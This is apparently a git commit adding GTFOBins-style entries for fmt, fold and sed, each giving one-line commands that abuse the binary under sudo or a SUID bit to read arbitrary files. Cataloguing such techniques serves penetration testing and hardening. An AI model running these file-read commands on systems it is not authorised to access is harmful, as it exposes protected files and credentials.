Add fmt, fold, sed

This commit is contained in:
Dov Murik 2018-06-12 14:07:03 +00:00
parent 4aa87be402
commit 710148098e
3 changed files with 47 additions and 0 deletions

17
_gtfobins/fmt.md Normal file
View File

@ -0,0 +1,17 @@
---
description: |
The read file content is not binary-safe.
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
---

15
_gtfobins/fold.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fold -w99999999 "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fold -w99999999 "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fold -w99999999 "$LFILE"
---

15
_gtfobins/sed.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo sed -e '' "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
file-read:
- code: |
LFILE=file_to_read
sed -e '' "$LFILE"
---